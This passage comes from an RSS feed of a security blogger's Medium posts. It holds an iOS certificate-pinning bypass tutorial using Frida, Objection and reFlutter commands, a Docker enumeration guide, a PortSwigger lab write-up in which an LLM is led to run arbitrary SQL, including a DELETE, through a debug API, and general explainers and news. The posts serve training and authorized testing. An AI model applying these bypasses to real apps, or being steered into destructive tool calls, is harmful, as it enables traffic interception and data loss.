Settings → SSL Kill Switch → Enable Disable Certificate Validation</li></ul><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*MwxsKwVqbrdHarGh.jpeg" /></figure><ul><li>Re-open <strong>DVIA 2</strong> vulnerable app &gt; Network Layer Security &gt; click <strong>Send using certificate pinning &amp; send using public key pinning.</strong></li></ul><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*on628nVpznIdnqJv.jpeg" /></figure><ul><li>Traffic should now fully proxy through Burp</li></ul><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*raSWdKt71SCtySMq.png" /></figure><h3>Method 2: Frida Scripts (Dynamic &amp; Powerful)</h3><p>Frida is one of the most flexible and reliable ways to bypass certificate pinning at runtime — it hooks into the app’s SSL/TLS validation functions and forces them to accept Burp’s fake certificate. This method works extremely well on most apps (including those with anti-debugging), even when tweaks like SSL Kill Switch fail.</p><p><strong>Prerequisites (recap from Part 2):</strong></p><ul><li>Frida server installed and running on the jailbroken device (via Sileo → <a href="https://build.frida.re/?referrer=grok.com">https://build.frida.re</a> repo).</li><li>Frida tools installed on your laptop: pip install frida-tools (or pipx install frida-tools).</li><li>Device connected via USB (recommended) or same Wi-Fi network.</li><li>Burp listener active (iproxy 8080 8080 or Wi-Fi proxy) + CA trusted.</li></ul><p><strong>Step-by-step:</strong></p><ol><li><strong>List installed / running apps to get the Bundle ID</strong></li></ol><p><em>frida-ps -Uai | grep -i dvia</em></p><ul><li>Copy the Bundle ID (e.g., com.highaltitudehacks.DVIAswiftv2).</li></ul><p>2. Try codeshare Frida scripts</p><p>These are pre-written, community-tested scripts that disable common pinning implementations.</p><ul><li><strong>Attach to running app (recommended — no restart needed):</strong></li></ul><pre>frida -U -N com.highaltitudehacks.DVIAswiftv2 - codeshare lichao890427/ios-ssl-bypass<br>frida -U -N com.highaltitudehacks.DVIAswiftv2 - codeshare snooze6/ios-pinning-disable<br>frida -U -N com.highaltitudehacks.DVIAswiftv2 - codeshare federicodotta/ios13-pinning-bypass<br>frida -U -N com.highaltitudehacks.DVIAswiftv2 - codeshare dki/ios10-ssl-bypass</pre><ul><li><strong>Or spawn (launch) the app fresh with script:</strong></li></ul><p><em>frida -U -f com.highaltitudehacks.DVIAswiftv2 -l bypass1.js</em></p><p>3. <strong>If codeshare scripts fail — try custom or alternative scripts</strong> Some apps use non-standard pinning (e.g., TrustKit, custom NSURLSession delegates, or Flutter/Dart pinning). Download and use these:</p><ul><li><strong>TheBountyBox / Awesmoe Frida Scripts</strong> (highly recommended collection): <a href="https://github.com/TheBountyBox/Awesmoe-Frida-Scripts?referrer=grok.com">https://github.com/TheBountyBox/Awesmoe-Frida-Scripts</a></li></ul><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*Em-E5giPKCsigcrT.png" /></figure><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*u1Na1ELHCmo10DlA.png" /></figure><ul><li>App launches with pinning disabled → Full HTTPS in Burp.</li></ul><h3>Method 3: Objection (Frida CLI Wrapper)</h3><p>Objection is a powerful, high-level wrapper around Frida that simplifies runtime exploration and bypassing of iOS security controls — including certificate pinning — with simple commands.</p><ul><li>pip install objection (if not already).</li><li><strong>List installed apps</strong> frida-ps -Uai | grep -i dvia</li><li><strong>Launch Objection &amp; Disable SSL Pinning</strong></li></ul><p>objection -n com.highaltitudehacks.DVIAswiftv2 start</p><p>ios sslpinning disable</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*ORlPvDXFcnFJ1jsx.png" /></figure><h3>Method 4: Binary Patching (Advanced — Persistent)</h3><p>Binary patching is an advanced technique that achieves a <strong>persistent SSL pinning bypass</strong> by <strong>statically modifying the application binary</strong>.</p><p>This approach is especially useful when applications implement <strong>anti-instrumentation, anti-debugging, or Frida detection</strong>, or when a long-term and restart-resistant bypass is required.</p><p>We will demonstrate this technique in the binary patching and jailbreak detection bypass part.</p><h3>5. Intercepting &amp; Bypassing Flutter Traffic</h3><p>Flutter applications on iOS implement their own networking stack inside the Flutter engine, which means traditional iOS interception techniques (ATS configuration, NSURLSession hooks, system proxy settings) often <strong>do not work</strong>. As a result, Flutter apps require <strong>special identification and handling</strong> during penetration testing.</p><h3>5.1 Identifying a Flutter Application</h3><p>Before attempting interception, confirm that the target application is built with Flutter. A reliable indicator is the presence of the following framework inside the app bundle:</p><p><em>Payload/Runner.app/Frameworks/Flutter.framework/Flutter</em></p><p>If this framework exists, the application is using Flutter’s engine-level TLS implementation, and standard iOS SSL pinning bypass techniques may fail.</p><h3>5.2 Intercepting Flutter Network Traffic</h3><p><strong>Potatso (Best Option — Worked Successfully)</strong></p><p>Potatso operates as a local VPN on iOS and was able to intercept Flutter traffic reliably without requiring additional runtime tooling.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*0QFo84lkYhnYwLlG.png" /></figure><h3>5.3 Bypassing Flutter SSL Pinning</h3><p>Flutter applications typically enforce TLS verification inside the Flutter engine, making standard iOS pinning bypass scripts ineffective. Two main approaches can be used:</p><h3>Method 1: Static Bypass Using reFlutter</h3><p><a href="https://github.com/Impact-I/reFlutter"><strong>reFlutter</strong></a> allows repackaging a Flutter IPA with TLS verification disabled at the engine level.</p><p><strong>Workflow:</strong></p><ol><li>Repatch the original IPA using reFlutter</li><li>Re-sign and install the patched application</li><li>Intercept traffic using Potatso</li></ol><p>This method was successfully used during a <strong>real penetration testing engagement</strong>, where Flutter TLS pinning initially blocked interception.</p><p><strong>Proof of Concept Included:</strong></p><ul><li>TLS handshake failure before patching</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/641/0*TLc4pfHJ1EzylN8n.png" /></figure><ul><li>Successful reFlutter patch applied to the IPA</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/679/0*TCvAu-VPuBkGr4H5.png" /></figure><ul><li>Full HTTPS traffic interception after patching</li></ul><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*3vmD-w0C2ZhQengg.png" /></figure><h3>Method 2: Dynamic Bypass Using Frida</h3><p>As an alternative, Flutter TLS verification can be bypassed dynamically using Frida-based scripts, such as:</p><ul><li><a href="https://github.com/NVISOsecurity/disable-flutter-tls-verification">disable-flutter-tls-verification</a></li></ul><blockquote><em>Dynamic bypass is useful for </em><strong><em>quick analysis</em></strong><em>, but static patching remains the preferred approach for long-term testing.</em></blockquote><blockquote>#MasteringIOSPentesting #JailbreakDetection #iOSSecurity #MobileSecurity</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=caa9e705b013" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Docker Security Testing: Network Enumeration from a VAPT Perspective]]></title>
            <link>https://medium.com/@avhad092/docker-security-testing-network-enumeration-from-a-vapt-perspective-475a7901e3d4?source=rss-811d51aa97a2------2</link>
            <guid isPermaLink="false">https://medium.com/p/475a7901e3d4</guid>
            <dc:creator><![CDATA[Ganesh avhad]]></dc:creator>
            <pubDate>Wed, 19 Aug 2026 11:10:59 GMT</pubDate>
            <atom:updated>2026-08-19T11:10:59.462Z</atom:updated>
            <content:encoded><![CDATA[<p><em>Practical container security assessment using Kali Linux and Docker</em></p><h3>Introduction</h3><p>Modern web applications are increasingly deployed using containers. From a VAPT perspective, this means the assessment surface extends beyond the web application itself to include <strong>containers, networks, services, permissions, secrets, and the underlying host</strong>.</p><p>As part of my hands-on Docker security assessment, I created a controlled Nginx container and started with basic network enumeration.</p><p>The objective was simple:</p><blockquote><strong><em>Understand the container’s network exposure before moving toward deeper security testing.</em></strong></blockquote><h3>Docker VAPT — Command &amp; Theory Notes</h3><p>#CommandOne-line theory</p><p>1docker --versionChecks the installed Docker version.2docker psLists currently running containers.</p><p>3docker ps -aLists all containers, including stopped ones.</p><p>4docker imagesLists Docker images available locally.</p><p>5docker inspect vapt-webDisplays detailed configuration, networking, mounts, and security settings of the container.</p><p>6docker port vapt-webShows ports exposed from the container to the host.</p><p>7docker exec vapt-web idIdentifies the user and groups under which commands run inside the container.</p><p>8docker exec vapt-web cat /proc/1/status | grep CapDisplays Linux capability information for the container&#39;s PID 1 process.</p><p>9docker inspect vapt-web --format &#39;Privileged={{.HostConfig.Privileged}}&#39;Checks whether the container is running in privileged mode.</p><p>10docker inspect vapt-web --format &#39;{{range .Mounts}}{{println .Source &quot;-&gt;&quot; .Destination}}{{end}}&#39;Shows host-to-container filesystem mounts.</p><p>11docker network lsLists Docker networks available on the host.</p><p>12docker network inspect bridgeDisplays configuration and connected containers for the Docker bridge network.</p><p>13docker exec vapt-web hostnameDisplays the container&#39;s hostname.</p><p>14docker exec vapt-web cat /etc/os-releaseIdentifies the operating system and version inside the container.</p><p>15docker top vapt-webDisplays processes currently running inside the container.</p><p>16docker logs vapt-webDisplays the container&#39;s application logs.</p><p>17docker stats vapt-webShows real-time CPU, memory, network, and I/O usage.</p><p>18docker diff vapt-webShows filesystem changes made inside the container since it started.</p><p>19docker history nginxShows the image layers and commands used to build the image.</p><p>20docker inspect nginx --format &#39;{{.Config.User}}&#39;Checks which user the image is configured to run as.</p><h3>VAPT workflow</h3><p>Keep the methodology in this order:</p><pre>Docker Version</pre><pre>↓</pre><pre>Container Discovery</pre><pre>↓</pre><pre>Image Enumeration</pre><pre>↓</pre><pre>Container Configuration</pre><pre>↓</pre><pre>Network Enumeration</pre><pre>↓</pre><pre>Port Enumeration</pre><pre>↓</pre><pre>User / UID</pre><pre>↓</pre><pre>Capabilities</pre><pre>↓</pre><pre>Privileged Mode</pre><pre>↓</pre><pre>Mounts / Volumes</pre><pre>↓</pre><pre>Processes</pre><pre>↓</pre><pre>Logs</pre><pre>↓</pre><pre>Image Security</pre><pre>↓</pre><pre>Vulnerability Assessment</pre><pre>↓</pre><pre>Impact</pre><pre>↓</pre><pre>Report</pre><h3>Lab Environment</h3><p>The assessment was performed in a controlled local environment:</p><pre>Kali Linux</pre><pre>↓</pre><pre>Docker</pre><pre>↓</pre><pre>Nginx Container</pre><p>The container was started with a published port:</p><pre>docker run -d --name vapt-web -p 8080:80 nginx</pre><p>This created the following path:</p><pre>127.0.0.1:8080</pre><pre>↓</pre><pre>Docker</pre><pre>↓</pre><pre>Nginx Container:80</pre><h3>Network Enumeration</h3><p>The next step was inspecting the container’s network configuration.</p><p>Using Docker inspection, I identified:</p><pre>Container IP : 172.17.0.2</pre><pre>Gateway      : 172.17.0.1</pre><pre>Network      : bridge</pre><pre>Prefix       : /16</pre><p>The relevant output was:</p><pre>&quot;Gateway&quot;: &quot;172.17.0.1&quot;,</pre><pre>&quot;IPAddress&quot;: &quot;172.17.0.2&quot;,</pre><pre>&quot;IPPrefixLen&quot;: 16,</pre><pre>&quot;MacAddress&quot;: &quot;46:e7:8d:4f:72:24&quot;</pre><p>The container was connected to Docker’s default bridge network.</p><h3>Understanding the Network</h3><p>The environment can be represented as:</p><pre>Kali / Docker Host</pre><pre>|</pre><pre>172.17.0.1</pre><pre>|</pre><pre>Docker Bridge</pre><pre>|</pre><pre>172.17.0.2</pre><pre>|</pre><pre>Nginx Container</pre><p>The 172.17.0.2 address is an <strong>internal Docker network address</strong>.</p><p>It does not mean that the container is automatically exposed to the Internet.</p><p>This distinction is important during a VAPT assessment.</p><h3>Why Does Container IP Matter?</h3><p>Container IP enumeration is useful for understanding:</p><ul><li>Network topology</li><li>Container-to-container communication</li><li>Internal service exposure</li><li>Network segmentation</li><li>Accessible services</li><li>Potential lateral movement paths</li></ul><p>However:</p><blockquote><strong><em>An internal container IP by itself is not a vulnerability.</em></strong></blockquote><p>It becomes security-relevant when combined with an exposed service, weak network isolation, excessive privileges, or another vulnerability.</p><h3>VAPT Methodology</h3><p>My container assessment follows a simple sequence:</p><pre>Container Discovery</pre><pre>↓</pre><pre>Network Enumeration</pre><pre>↓</pre><pre>Port / Service Enumeration</pre><pre>↓</pre><pre>Configuration Review</pre><pre>↓</pre><pre>Privilege Analysis</pre><pre>↓</pre><pre>Secrets / Volume Review</pre><pre>↓</pre><pre>Vulnerability Assessment</pre><pre>↓</pre><pre>Impact Validation</pre><pre>↓</pre><pre>Remediation</pre><p>This prevents jumping directly into exploitation without understanding the environment first.</p><h3>Next Assessment</h3><p>After identifying the container’s network configuration, the next logical step is service enumeration.</p><p>For example:</p><pre>docker port vapt-web</pre><p>and:</p><pre>docker ps</pre><p>These help identify which services are exposed by the container.</p><p>The assessment can then move toward:</p><pre>Network</pre><pre>↓</pre><pre>Ports</pre><pre>↓</pre><pre>Services</pre><pre>↓</pre><pre>Configuration</pre><pre>↓</pre><pre>Security Controls</pre><h3>Security Takeaway</h3><p>Container security is not just about finding vulnerable software inside an image.</p><p>A complete VAPT assessment should consider the entire container environment:</p><pre>Container</pre><pre>↓</pre><pre>Network</pre><pre>↓</pre><pre>Ports</pre><pre>↓</pre><pre>Processes</pre><pre>↓</pre><pre>Volumes</pre><pre>↓</pre><pre>Secrets</pre><pre>↓</pre><pre>Privileges</pre><pre>↓</pre><pre>Host</pre><pre>↓</pre><pre>Cloud</pre><p>The key question is:</p><blockquote><strong><em>If this container were compromised, what could an attacker reach or control next?</em></strong></blockquote><p>That question moves container testing from simple enumeration toward meaningful security assessment.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qpCdiF9ZnqCyDzx_wusiIQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MAtNceiuqUg8eqsk7PRm3A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xAbEDQ5ohF1MThCbJihjcg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cUurcYGBmpecWCybGeOLYw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SWdtut5gOfkbOHMwSOgfxg.png" /></figure><h3>Conclusion</h3><p>This initial Docker assessment demonstrated an important VAPT principle:</p><blockquote><strong><em>Enumeration comes before exploitation.</em></strong></blockquote><p>Understanding the container’s network identity, connectivity, exposed services, and privileges provides the foundation for identifying meaningful security issues.</p><p>The next stage of this assessment is to examine <strong>ports, services, container configuration, volumes, capabilities, and privileges</strong> and determine whether any of these introduce a genuine security risk.</p><h3>Lab Environment</h3><p><strong>OS:</strong> Kali Linux<br> <strong>Technology:</strong> Docker<br> <strong>Container:</strong> Nginx<br> <strong>Network:</strong> Docker Bridge<br> <strong>Scope:</strong> Local authorized security-testing environment</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=475a7901e3d4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[LLM Security Testing: Exploiting Excessive Agency Through a Debug SQL API]]></title>
            <link>https://medium.com/@avhad092/llm-security-testing-exploiting-excessive-agency-through-a-debug-sql-api-07996b8adcb3?source=rss-811d51aa97a2------2</link>
            <guid isPermaLink="false">https://medium.com/p/07996b8adcb3</guid>
            <dc:creator><![CDATA[Ganesh avhad]]></dc:creator>
            <pubDate>Wed, 19 Aug 2026 10:54:03 GMT</pubDate>
            <atom:updated>2026-08-19T10:54:03.090Z</atom:updated>
            <content:encoded><![CDATA[<p><em>An application-security assessment of excessive LLM privileges and backend tool access using PortSwigger Web Security Academy.</em></p><h3>Introduction</h3><p>LLM-powered applications introduce a new attack surface into modern web applications.</p><p>The risk is not limited to the model itself. An LLM may also have access to <strong>APIs, databases, files, internal services, and external tools</strong>.</p><p>From a VAPT perspective, one of the key questions is:</p><blockquote><strong><em>What can the LLM access, and what actions can it perform on behalf of a user?</em></strong></blockquote><p>To explore this attack surface, I performed an authorized assessment in a PortSwigger Web Security Academy lab focused on <strong>excessive agency in LLM applications</strong>.</p><p><a href="https://portswigger.net/web-security/llm-attacks?utm_source=chatgpt.com">PortSwigger Web Security Academy — LLM attacks</a></p><h3>Application Attack Surface</h3><p>The lab application exposed an LLM that could interact with backend APIs.</p><p>A simplified architecture looked like this:</p><pre>User</pre><pre>↓</pre><pre>Web Application</pre><pre>↓</pre><pre>LLM</pre><pre>↓</pre><pre>Backend APIs</pre><pre>↓</pre><pre>Database</pre><p>The security boundary of interest was between the <strong>LLM and the backend API</strong>.</p><p>If an LLM has excessive privileges, an attacker may be able to influence it into performing actions that should not be available to a normal user.</p><h3>API Capability Discovery</h3><p>The first step was to identify which APIs and tools were available to the LLM.</p><p>The LLM revealed access to:</p><pre>Debug SQL API</pre><p>From a VAPT perspective, this raised several questions:</p><ul><li>What does the API do?</li><li>What parameters does it accept?</li><li>What permissions does it have?</li><li>Can it access sensitive data?</li><li>Can it modify application state?</li></ul><h3>Parameter Enumeration</h3><p>I then determined what arguments the API accepted.</p><p>The response identified:</p><pre>Parameter: sql_statement</pre><pre>Type: String</pre><p>The important observation was that the parameter accepted an entire SQL statement.</p><p>This indicated that the backend functionality could potentially be much more powerful than a predefined database operation.</p><h3>Validating SQL Execution</h3><p>Before assessing the impact, I first validated that the API could actually execute SQL.</p><p>A simple query was used:</p><pre>SELECT 1;</pre><p>The application returned:</p><pre>1</pre><p>This confirmed the execution path:</p><pre>User</pre><pre>↓</pre><pre>LLM</pre><pre>↓</pre><pre>Debug SQL API</pre><pre>↓</pre><pre>SQL</pre><pre>↓</pre><pre>Database</pre><p>At this point, the security concern was no longer theoretical.</p><h3>Database Access and Data Exposure</h3><p>The next step was to determine whether the database could be queried.</p><p>Within the authorized lab environment, I used:</p><pre>SELECT * FROM users;</pre><p>The response exposed information from the users table, demonstrating that the LLM&#39;s backend capability could be used to access sensitive application data.</p><p>From a VAPT perspective, this represented a <strong>confidentiality impact</strong>.</p><h3>Demonstrating Security Impact</h3><p>The final test was to determine whether the same capability could perform a destructive database operation.</p><p>Within the lab, the following statement was used:</p><pre>DELETE FROM users WHERE username=&#39;carlos&#39;;</pre><p>The operation succeeded and the lab was completed.</p><p>The resulting attack chain was:</p><pre>LLM</pre><pre>↓</pre><pre>Debug SQL API</pre><pre>↓</pre><pre>Arbitrary SQL execution</pre><pre>↓</pre><pre>Database</pre><pre>├── Read data</pre><pre>└── Modify/Delete data</pre><p>This demonstrated that the LLM had access to a highly privileged backend capability.</p><h3>Root Cause: Excessive Agency</h3><p>The core issue was <strong>excessive agency</strong>.</p><p>The LLM was able to invoke a backend capability with significantly greater privileges than should be exposed through a conversational interface.</p><p>The problem was not simply that the LLM understood SQL.</p><p>The real issue was:</p><blockquote><strong><em>The application trusted the LLM with a powerful database capability without sufficient security controls around that capability.</em></strong></blockquote><p>An LLM should not be treated as a security boundary.</p><h3>VAPT Assessment Methodology</h3><p>This lab reinforced a practical methodology for assessing LLM applications:</p><pre>Recon</pre><pre>↓</pre><pre>Discover APIs / Tools</pre><pre>↓</pre><pre>Enumerate Parameters</pre><pre>↓</pre><pre>Understand Permissions</pre><pre>↓</pre><pre>Validate Functionality</pre><pre>↓</pre><pre>Assess Impact</pre><pre>↓</pre><pre>Document Finding</pre><pre>↓</pre><pre>Recommend Remediation</pre><p>The key questions during an assessment are:</p><ul><li>What tools can the LLM access?</li><li>What permissions do those tools have?</li><li>What data can they access?</li><li>Can user-controlled input influence tool execution?</li><li>Can sensitive or destructive operations be performed?</li></ul><h3>Security Finding</h3><p><strong>Finding:</strong> Excessive agency in LLM API integration</p><p><strong>Impact:</strong> Unauthorized database read and destructive operations</p><p><strong>Root Cause:</strong> A highly privileged SQL execution capability was exposed to the LLM without sufficient authorization and restrictions.</p><p><strong>Risk:</strong> An attacker who can influence the LLM may potentially abuse its backend capabilities to access or modify sensitive application data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*g3pF7TpnGCDjvusqB47_fA.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=07996b8adcb3" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[ AI Explained Simply: How ChatGPT Actually Works]]></title>
            <link>https://medium.com/@avhad092/ai-explained-simply-how-chatgpt-actually-works-369a4c98daa1?source=rss-811d51aa97a2------2</link>
            <guid isPermaLink="false">https://medium.com/p/369a4c98daa1</guid>
            <dc:creator><![CDATA[Ganesh avhad]]></dc:creator>
            <pubDate>Fri, 03 Jul 2026 07:19:47 GMT</pubDate>
            <atom:updated>2026-07-03T07:34:49.851Z</atom:updated>
            <content:encoded><![CDATA[<p>Artificial Intelligence (AI) and Large Language Models (LLMs) like ChatGPT are systems designed to understand and generate human-like text. Even though they feel intelligent, their working is based on a structured flow of data processing and prediction.</p><p>This blog explains the <strong>complete working flow</strong>, what the system <strong>contains internally</strong>, and how responses are generated step-by-step.</p><h3>📌 Introduction</h3><p>An LLM is not a thinking human-like brain. Instead, it is a statistical system that predicts the next word based on patterns learned from large amounts of text data.</p><pre>LLM = A system that generates text by predicting the next token based on input context.</pre><h3>🔄 1. Complete AI / LLM Working Flow</h3><p>Below is the full pipeline of how an LLM works:</p><pre>📚 Training Data (Books, Websites, Articles)<br>                ↓<br>🧠 Model Training (Learns Patterns)<br>                ↓<br>✂️ Tokenization (Text → Tokens)<br>                ↓<br>🧩 Context Window (CONTAINS all working memory)<br>                ↓<br>⚙️ Transformer Processing (Attention Mechanism)<br>                ↓<br>🔮 Next Token Prediction<br>                ↓<br>🔁 Token-by-token Generation Loop<br>                ↓<br>🧾 Final Response Output<br>                ↓<br>👤 User Receives Answer</pre><h3>🧩 2. What the Context Window “CONTAINS”</h3><p>The context window is the most important part of an LLM during execution.</p><p>It does NOT contain the entire internet or permanent memory. It only contains what is currently relevant.</p><h3>🧠 Context Window CONTAINS:</h3><pre>✔ User input prompt<br>✔ Chat history (previous messages)<br>✔ System instructions (rules for behavior)<br>✔ Tool outputs (if connected tools exist)<br>✔ Recently generated tokens</pre><p>👉 Everything the model uses to respond is inside this window.</p><h3>✂️ 3. Tokenization (Breaking Text into Pieces)</h3><p>Before processing, text is broken into small units called tokens.</p><h3>Example:</h3><pre>Input: &quot;AI is powerful&quot;<br>Tokens: [&quot;AI&quot;, &quot; is&quot;, &quot; powerful&quot;]</pre><p>👉 Why tokens?<br> Because models process numbers, not full sentences.</p><h3>⚙️ 4. Transformer (Core Engine of LLMs)</h3><p>The transformer is the architecture that powers modern AI models.</p><p>It works by:</p><ul><li>Understanding relationships between words</li><li>Assigning importance to each word</li><li>Building context-aware meaning</li></ul><h3>Key Idea:</h3><p>👉 Some words matter more than others depending on context.</p><h3>🔮 5. Next Token Prediction (Core Logic)</h3><p>LLMs generate text one step at a time.</p><h3>Example:</h3><pre>Input: &quot;The sky is&quot;<br>Output: &quot; blue&quot;</pre><p>Then it continues:</p><pre>&quot;The sky is blue and clear today...&quot;</pre><p>👉 This process repeats until the response is complete.</p><h3>🔁 6. Generation Loop (How AI Writes Text)</h3><pre>Start Input<br>     ↓<br>Predict Next Token<br>     ↓<br>Add Token to Context<br>     ↓<br>Repeat Prediction<br>     ↓<br>Stop Condition Reached<br>     ↓<br>Final Output Generated</pre><h3>🧠 7. What the Model Actually “Knows”</h3><p>Important clarification:</p><p>The model does NOT store facts like a database.</p><p>Instead, it contains:</p><p>✔ Patterns from training data<br> ✔ Relationships between words<br> ✔ Probability-based knowledge</p><pre>LLM = Pattern recognition + probability system, not memory storage</pre><h3>⚠️ 8. Limitations of LLMs</h3><p>Even powerful models have limitations:</p><ul><li>❌ Can generate incorrect information (hallucination)</li><li>❌ Sensitive to prompt wording</li><li>❌ Limited by context window size</li><li>❌ No true understanding or reasoning like humans</li><li>❌ Can be tricked with misleading prompts</li></ul><h3>🧪 9. Example of Complete Flow in Action</h3><h3>Input:</h3><pre>Explain AI in simple words</pre><h3>Internal Process:</h3><pre>User Input<br>   ↓<br>Tokenization<br>   ↓<br>Context Window (system + chat history + input)<br>   ↓<br>Transformer Processing<br>   ↓<br>Next Token Prediction Loop<br>   ↓<br>Response Generation</pre><h3>Output:</h3><p>LLM VAPT is essential to ensure AI systems are safe, reliable, and resistant to manipulation. It helps identify weaknesses before attackers can exploit them and ensures responsible deployment of AI in real-world applications.</p><h3>📊 10. Key Summary</h3><p>✔ AI/LLM works using structured flow<br> ✔ It processes tokens, not full sentences<br> ✔ Context window holds temporary information<br> ✔ Transformer understands relationships<br> ✔ Output is generated token by token</p><pre>LLM = Input → Tokens → Context → Transformer → Prediction → Output</pre><h3>🚀 Final Understanding</h3><p>An LLM is NOT:<br> ❌ A human brain<br> ❌ A knowledge database<br> ❌ A reasoning machine</p><p>It IS:<br> ✔ A probability-based text generator<br> ✔ A pattern learning system<br> ✔ A token prediction engine</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=369a4c98daa1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[ Latest Cyberattacks You Should Be Aware of (April 2025)
 Author: Ganesh Avhad
 Date: April 18…]]></title>
            <link>https://medium.com/@avhad092/latest-cyberattacks-you-should-be-aware-of-april-2025-author-ganesh-avhad-date-april-18-fe963732360f?source=rss-811d51aa97a2------2</link>
            <guid isPermaLink="false">https://medium.com/p/fe963732360f</guid>
            <dc:creator><![CDATA[Ganesh avhad]]></dc:creator>
            <pubDate>Fri, 18 Apr 2025 08:57:40 GMT</pubDate>
            <atom:updated>2025-04-18T08:57:40.329Z</atom:updated>
            <content:encoded><![CDATA[<p>🚨 <strong>Latest Cyberattacks You Should Be Aware of (April 2025)</strong><br> <em>Author: Ganesh Avhad</em><br> <em>Date: April 18, 2025</em><br> <em>Tags: #CyberSecurity #Ransomware #DataBreach #Hacking #CyberThreats</em></p><p>Cyberattacks are evolving at an alarming rate, and April 2025 has seen some of the most significant breaches yet. Staying informed is key to mitigating risks, whether you’re a business owner, a cybersecurity professional, or an individual user. In this post, we’ll walk through some of the most impactful cyberattacks of the month, analyzing how attackers infiltrated systems and what organizations can do to protect themselves.</p><h3>DaVita Ransomware Attack (April 14, 2025)</h3><p>On <strong>April 14, 2025</strong>, DaVita Inc., a major U.S. dialysis provider, suffered a ransomware attack that encrypted parts of its network. While patient care remained unaffected, some of its services were disrupted. The company acted swiftly to isolate impacted systems and engaged external cybersecurity experts to assess the situation. Law enforcement is involved, and investigations are ongoing.<br> <em>Source: Reuters</em></p><h3>Volt Typhoon Cyberattacks</h3><p><strong>Volt Typhoon</strong>, a state-sponsored hacker group linked to China, has been behind a series of cyberattacks targeting U.S. critical infrastructure. The group’s operations have compromised sectors like energy, water, and communications. Amid rising geopolitical tensions, experts are warning of escalating threats to national security, with the U.S. government closely monitoring the situation.<br> <em>Source: TechRadar</em></p><h3>Codebreakers Attack on Bank Sepah (March 2025)</h3><p>In <strong>March 2025</strong>, the Iranian hacker group <strong>Codebreakers</strong> breached Bank Sepah, Iran’s third-largest bank, stealing over 42 million customer records. The attackers released sensitive data and demanded $42 million in Bitcoin as ransom. The bank refused to comply, leading to the public exposure of this confidential financial information.<br> <em>Source: Wikipedia</em></p><h3>4chan Data Breach (April 2025)</h3><p>In another high-profile breach, <strong>4chan</strong> experienced a data leak in <strong>April 2025</strong>, when a rival hacker group exposed the platform’s source code and user login details. The breach has raised concerns about the security of online communities, urging platforms to adopt stronger security protocols.<br> <em>Source: Wikipedia</em></p><h3>BianLian Ransomware Group Activity (March 2025)</h3><p>The notorious <strong>BianLian</strong> ransomware group continues to exploit vulnerabilities in Remote Desktop Protocol (RDP) to gain unauthorized access to networks, encrypt data, and demand ransom payments. The FBI and CISA issued an advisory in <strong>March 2025</strong>, urging businesses to take immediate action against this growing threat.<br> <em>Source: Wikipedia</em></p><h3>How to Protect Yourself &amp; Your Business</h3><p>The increasing frequency and sophistication of cyberattacks mean that vigilance is more important than ever. Here are a few steps you can take to minimize risk:</p><ul><li><strong>Update software regularly</strong> to ensure the latest security patches are installed.</li><li><strong>Implement strong access controls</strong> and enforce strong password policies.</li><li><strong>Educate your employees and users</strong> on phishing, social engineering, and common attack methods.</li><li><strong>Invest in cybersecurity insurance</strong> to mitigate financial losses from potential breaches.</li><li><strong>Work with cybersecurity experts</strong> to monitor your infrastructure and enhance your security posture.</li></ul><p>Cybersecurity is a continuously evolving challenge. The latest attacks demonstrate the need for constant vigilance and proactive defense measures. By staying informed and applying these best practices, businesses and individuals can better protect themselves from the growing threat of cyber criminals.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fe963732360f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Stored Cross-Site Scripting (XSS) — A Hidden Threat in Blacklisted Domains]]></title>
            <link>https://medium.com/@avhad092/stored-cross-site-scripting-xss-a-hidden-threat-in-blacklisted-domains-ff036484b5f4?source=rss-811d51aa97a2------2</link>
            <guid isPermaLink="false">https://medium.com/p/ff036484b5f4</guid>
            <dc:creator><![CDATA[Ganesh avhad]]></dc:creator>
            <pubDate>Fri, 18 Apr 2025 08:44:05 GMT</pubDate>
            <atom:updated>2025-04-18T08:44:05.641Z</atom:updated>
